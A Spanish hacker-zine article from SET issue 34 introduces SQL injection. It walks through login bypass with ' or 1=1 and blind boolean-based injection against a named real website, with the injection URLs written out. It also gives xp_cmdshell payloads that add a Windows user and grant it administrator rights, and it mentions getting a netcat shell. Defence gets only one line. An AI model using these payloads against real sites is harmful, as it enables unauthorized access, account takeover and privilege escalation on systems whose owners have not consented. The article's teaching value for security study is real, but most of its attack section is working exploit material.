SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Inyeccion en SQL

      6935

Autor: thenemi
-[ 0x08 ]--------------------------------------------------------------------
-[ Inyeccion SQL (Introduccion) ]--------------------------------------------
-[ by thenemi ]------------------------------------------------------SET-34--

INTRODUCCION A LA INYECCION SQL

thenemi


consultas, dudas, criticas... <thenemi@gmail.com>

/////////////////////////////////////////////////////////////////////////////

Muy buenas. Con este texto pretendo que se comprenda un poco que es un  ataque
de inyeccion SQL, como saber (de primeras) si un sitio puede ser vulnerable,
y los metodos mas comunes de ataque. Como bien dice el titulo, es una
introduccion, asi que si ya sabes de que va la cosa, te lo puedes saltar.

Para ir despertando el gusanillo: Se trata de un tipo de ataque muy basico,
que, sin embargo, os puede dar grandes resultados.

Muchos defaces a paginas web son posibles gracias a este tipo de ataques,
o mas bien, a que a los programadores se la trae floja la seguridad de su
sitio.
Valgan como ejemplo un par de noticias recientes:

-----------------------------------------------------------------
[*] [27/06/2007, zone-h.org]
http://www.zone-h.org/content/view/14780/31/  

microsoft.co.uk hackeada mediante este metodo. 
Videos del ataque disponibles en la web.


[*] 26/06/2007, periodico "Cinco Dias"]
http://tinyurl.com/33a33k       
Web de Pedro de la Rosa (www.pedrodelarosa.com )hackeada. Se veia venir.
-------------------------------------------------------------------



Cada uno tiene su estilo, y a mi me gusta ir poniendo ejemplos reales.
Puesto que cuento con el permiso del webmaster, utilizare ejemplos reales.


Va a ser la web de [pedrodelarosa.com] la que tomare de ejemplo para ver como
se llego a producir el deface, gracias a este tipo de ataques.
Ojo, yo no tengo nada que ver con el ataque, y probablemente, si esto sale 
publicado, es,  porque como ya he dicho, cuento con el permiso del webmaster 
para divulgarlo (aunque como vereis no tiene mucho misterio). 

Espero que asi os hagais a la idea de lo relativamente sencillo que puede ser 
realizar un deface observando un ejemplo real.
Que puedas realizar un deface a un sitio importante/conocido no significa que 
seas un gran hacker/programador/comotequierasllamar.

Vamos alla.

/////////////////////////////////////////////////////////////////////////////


ESQUEMA


1. Breve Introduccion a SQL


2. Inyeccion (ejemplo real)


3. Blind SQL-injection. Posibilidades


4. Referencias

// fin del esquema -->




1. Brebe introduccion a SQL
===========================================
Pero que es SQL?

SQL es un lenguaje que opera sobre bases de datos, es decir, nos va a permitir
modificar los datos, o bien su estructura.

Para seguir este texto, necesitas conocer un par de comandos:
+ CREATE  :  para crear bases de datos
+ DROP    :  para borrarlas
+ SELECT  :  realizar consultas en la base de datos
+ FROM    :  especificar la tabla sobre la que se va a operar
+ WHERE   :  especificar condiciones
+ AND; OR : corresponden a la funcion logica.
+  *      : comodin :P
+  --     : se utiliza para realizar comentarios.

Asi, por ejemplo:

$: SELECT password FROM users WHERE name=pepito

Devuelve la contraseC1a del usuario que se llama pepito que esta almacenado en
la tabla  users.

Como veis,la estructura que vamos a emplear es sencilla, y podreis entender los 
ejemplos sin problemas.


Y en que se utiliza?
Pues en muchas cosas, desde en bases de datos de empresas, hasta en paginas web.
Por ejemplo, los nombres de los usuarios registrados y sus contraseC1as, se 
almacenan en una base de datos. No seria interesante poder realizar consultas 
como la de arriba sin necesidad de ser administrador? O poder acceder
a una pagina en la que teoricamente necesitemos un nombre de usuario y una
contraseC1a sin ni siquiera saber un nombre de usuario valido?.
Pues vamos a intentarlo...




2. Inyeccion
===========================================
Supongamos un formulario de validacion, en cuyo codigo encontramos lo 
siguiente:

-----------------------------------------------------------------
SELECT * FROM basededatos WHERE nombre = '" + tunombre + "' 
AND password='" + tupassword + "';"
-----------------------------------------------------------------


Si nosotros introducimos como nombre de usuario set y como password 1234, 
se genera la siguiente consulta:


SELECT * FROM basededatos WHERE nombre = 'set' AND password='1234';


Nuestro formulario ha leido la variable "tunombre" (set) y la variable
"password" (1234), y realiza la consulta.
Si en la base de datos llamada "basededatos" existe un registro que tiene
de nombre de usuario set y de contrasenya 1234, el formulario nos permitira
acceder como set, bien sea al foro, a nuestra cuenta de correo, o a cualquier 
otro sitio.


Sin embargo, alguien puede introducir perfectamente como contraseC1a
la cadena de texto "1234 ' or 1=1"  
con lo que la consulta generada seria la siguiente:


SELECT * FROM basededatos WHERE nombre = 'set' AND password='1234' OR 1=1;



Con esta consulta, independientemente de si el password del usuario set es 1234
o de si no lo es,  el atacante tendria acceso a nuestra pagina como usuario
set,  puesto que el resultado de la consulta va a ser positivo, si la 
contraseC1a es  1234 o si 1=1. 

Y como de momento, uno es siempre igual a uno, el atacante esta dentro.

Evidentemente da lo mismo lo que pongamos delante del ' ,
puesto lo que nos interesa es aC1adir al final el OR 1=1. De este modo
las consultas


SELECT * FROM basededatos WHERE nombre = 'set' AND password='' OR 1=1;

SELECT * FROM basededatos WHERE nombre = 'set' AND password='loquesea' OR 1=1;


dan el mismo resultado.


Peor seria si hubiese puesto como nombre de usuario admin, ya que habria logrado 
acceso de administrador. Y todavia hay mas: Si introduce la famosa cadena 
"loquesea ' or 1=1" tanto en usuario como en password:


SELECT * FROM basededatos WHERE nombre = 'loquesea' OR 1=1 
AND password='1234' OR 1=1;



Consiguiendo asi acceso sin necesidad ni siquiera de saber un nombre de 
usuario.

En vez de eso, podriamos tratar de inyectar un codigo que aC1adiese un nuevo
usuario en la base de datos, darle permisos de administrador, o llegar a 
ejecutar comandos en la maquina comprometida. 

El potencial de este tipo de ataques es muy grande, y estamos rascando solo
la superficie.


La solucion a este tipo de ataques, basicamente reside en filtrar lo que el 
usuario introduce, evitando caracteres como ' y ". 

Aunque creas que un ataque tan sencillo, no se puede realizar a dia de hoy,
la cruda realidad es que parece que muy pocos programadores se interesan por 
la seguridad, y ataques como este se puedan ver todavia.

Empezemos con nuestro caso real, el piloto de formula 1 :P

Vayamos, por ejemplo, al foro, y veamos la url que contiene el crear 
un nuevo tema:

http://www.pedrodelarosa.com/castella/foro/post.asp?
forum_id=1&method=Topic&forum_title=

(evidentemente, va todo junto)

Nos aparece una pagina que nos recuerda bastante al foro de set 
(por ejemplo), con sus correspondientes cuadros de nombre de usuario,
contraseC1a,y mensaje.


Probamos suerte con lo que acabamos de aprender:
Como nombre de usuario, ponemos "Webmaster", y como password 
"loquesea ' or 1=1"

Le damos a enviar, y se nos informa de que nuestro mensaje ha sido publicado
con exito. 
Con un truco tan simple, podemos llegar a enviar y publicar mensajes como si 
fuesemos el Webmaster. Del mismo modo, vamos a ser capaces de editar y de 
borrar mensajes. No parece que se hayan preocupado demasiado por la seguridad
de su web...

Mi teoria queda confirmada, al fijarme de nuevo en la url, y mas concretamente,
en la parte de "forum_id=1". 

Pruebo a cambiar el 1 por el 31337, y cualquier usuario, sin necesidad de ser 
administrador o moderador del foro, puede publicar mensajes en cualquier 
subforo.
(el 1 corresponde al castellano, el 2 al ingles,... y el 31337 al nuestro :P)
http://www.pedrodelarosa.com/castella/foro/forum.asp?forum_id=31337


Asi pues, cualquiera, mediante este ataque tan sencillo, se puede hacer con el 
control del foro. Merece la pena estudiarlo no? :P




3. Blind SQL-injection
===========================================
Vale, muy bien, somos los reyes del foro. Pero lo que tu quieres
de verdad es poder cambiar la web, poner "yo estuve aqui", y que vayan
a tu casa a detenerte, y con razon.

Pues nada, volvamos a la pagina principal. Hay algo que parece interesante.
(lease set 31, 0x06 : buscando informacion)
http://www.pedrodelarosa.com/castella/archivo.asp?mes=1&any=2007
La pagina nos muestra sus exitos de enero del 2007.

Sera vulnerable?

Hasta ahora hemos visto como acceder a un sitio que nos pidiese nombre de
usuario y contraseC1a, pero que ocurre si lo que queremos es ejecutar consultas?

Vamos a tener que buscar paginas de esta forma:
http://[ur]/loquesea?variable=numerito

Para ver si es vulnerable, podemos probar con nuestro 'OR 1=1, o podemos poner
el ' directamente:

-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes='
-----------------------------------------------------------------

Y obtenemos el siguiente mensaje de error:


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la
cadena de caracteres ' ORDER BY diaI DESC,id DESC'.

/castella/archivo.asp, line 77 



No solo es vulnerable, sino que ademas obtenemos el nombre de algunas columnas.
Nuestro objetivo va a ser conseguir ejecutar la consulta 


SELECT password FROM basededatos WHERE username='admin'


Lo que nos devolvera el hash md5 de la contraseC1a del administrador.
Pero podriamos plantearnos otros objetivos, como aC1adir a la base de datos un 
usario con permisos de administrador, o hasta podriamos llegar a ejecutar 
netcat en la maquina remota, y conseguir nuestra shell, comprometiendo la
maquina completamente.

El problema es que ahora no vamos a "ver" el resultado, sino que vamos a 
realizar un tipo de inyeccion conocido como blind-SQL injection.
Para entender lo que es, vayamos directamente con el ejemplo:


Empezamos probando con
-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND 1=1
-----------------------------------------------------------------
Nos devuelve elmismo resultado que si hubiesemos puesto mes=1 .
(ejecutamos mes=1 AND TRUE)

Sin embargo:

-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND 1=2
-----------------------------------------------------------------
(ejecutamos mes=1 AND FALSE)
Por tanto, nos devuelve una pagina de error, que dice que no hay registros.


La idea es la siguiente. Vamos a ir ejecutando consultas de la forma

http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND NUESTRACONSULTA

Nuestras consultas van a ser del tipo Booleano (verdadero o falso)
Si nos dice que no hay registros, sabemos que el resultado de nuestra consulta
es falso, pero si nos devuelve la pagina de los exitos del mes, el resultado de
nuestra consulta es verdadero.

De este modo, por ejemplo, para encontrar el nombre de usuario, podemos 
preguntar si el valor ascii del primer caracter es mayor que 113. Si nos carga 
la misma pagina, sabemos que si. Despues volveriamos a realizar la consulta,
pero esta vez queremos saber si es mayor que 114. Si nos devuelve error, 
sabemos que el valor decimal del primer caracter es exactamente 114, que 
corresponde a la letra r.
Lo mismo se haria para el segundo caracter, y para el tercero...
Cuando no haya mas caracteres, al preguntar si el n-esimo caracter es mayor 
que 100,o si es menor, las dos nos darian por resultado 'falso'.


En el ejemplo:

-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes=1
 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects
 WHERE type='U'),1,1)))>110
-----------------------------------------------------------------

La consulta se ha complicado un poco...
Lo que hacemos  es convertir las mayusculas a minusculas para ahorrarnos tiempo
(valores decimales entre 97 y 122), y luego comprueba si el caracter 1 es mayor
que 100


-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 
AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects
 WHERE type='U'),2,1))) = 110 
-----------------------------------------------------------------

Lo mismo, pero comprueba si es igual a 110


-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes=1
 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects 
WHERE type='U'),3,1)))>110
-----------------------------------------------------------------

Esta vez comprueba si el tercer caracter es mayor que 110.
Se entiende la idea no?


Y asi podriamos conseguir informacion de la version, nombres de usuario,
nombre de la base de datos... y podriamos ejecutar nuesttro
SELECT password FROM basededatos WHERE username='admin'


Seamos sinceros, esto es un coC1azo. Pero, afortunadamente, la gente de 
reversing.org se ha currado un programa llamado sqlbftools, que nos 
ahorrara bastante tiempo.
Lo podeis descargar de http://www.reversing.org/node/view/11 , viene tanto el
ejecutable para win32 como el codigo fuente.
Merece la pena que la echeis un ojo, leyendo el manual no deberiais tener ningun
tipo de problemas. Yo ya le tengo en mis imprescindibles.


Imaginaros por un momento que la base de datos, aparte de ser de microsoft OLE,
hubiese sido la llamada db0. Esto dignificaria que esta hecha la instalacion
por defecto, con lo que el usuario tendria los permisos de SYSTEM-
Antes que nada, lo comprobariamos:

-----------------------------------------------------------------
http://www.pedrodelarosa.com/castella/archivo.asp?mes=
convert(int,(select+user));--
-----------------------------------------------------------------

Afortunadamente, no es el caso, pero supongamos que lo hubiese sido.


Podriamos ejecutar comandos de una manera remota.

-----------------------------------------------------------------
http://[url]/blabla?id=1;exec master..xp_cmdshell%20'net user set 1234 /add';--
-----------------------------------------------------------------
Con esto aC1adiriamos el usuario set con password 1234

-----------------------------------------------------------------
http://[url]/blabla?id=1;exec master..xp_cmdshell%20'net 
localgroup administrators set /add';--
-----------------------------------------------------------------
Y asi le dariamos permisos de administrador.




4. Referencias
===========================================
Todavia quedan muchas cosas por ver, como el UNION SELECT, que nos permitira 
estructurar una base de datos, el ORDER BY, y ver las diferencias entre una 
version y otra, entre un sistema operativo y otro, como evitar estos ataques...
Teneis lectura para rato, y ya has visto lo que se puede conseguir con muy 
poco.


Os dejo un par de sitios:

-www.hackthissite.org      
Wargame. Varios de los realistic challenge se resuelven mediante sql injection.
Tienen montadas un par de webs para que te entrenes legamente.

-http://www.reversing.org/node/view/13
Blid sql-injection methods. Ingles.

-http://www.unixwiz.net/techtips/sql-injection.html
Introduccion. Ingles

-http://www.securiteam.com/securityreviews/5DP0N1P76E.html
Buen texto, tambien en ingles, contiene referencias
muy interesantes. Si te interesa el tema, visita obligada.


*EOF*